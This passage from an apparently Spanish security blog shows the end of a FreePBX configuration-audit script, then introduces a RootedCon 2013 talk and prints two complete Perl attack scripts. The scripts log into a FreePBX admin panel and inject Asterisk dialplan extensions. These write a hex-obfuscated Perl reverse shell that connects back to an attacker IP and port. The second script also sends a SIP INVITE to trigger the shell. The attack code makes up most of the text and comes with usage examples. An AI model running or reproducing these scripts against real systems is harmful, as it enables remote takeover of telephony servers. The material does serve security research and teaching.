                return 1 if ($_ =~ /permit\s*=\s*0\.0\.0\.0/i);
        }

        return 0;
}

sub asterisk_manager_passwd {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /secret\s*=\s*amp/i);
        }

        return 0;
}

sub asterisk_manager_passwd2 {
        open (FILE, '/etc/amportal.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

sub asterisk_manager_passwd3 {
        open (FILE, '/etc/asterisk/extensions_additional.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /AMPMGRPASS\s*=\s*amp/);
        }

        return 0;
}

init();

Y el resultado del script (haz click en la imagen para agrandarla):

freepbx_chk

Un saludo

FreePBX for Fun & Profit

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!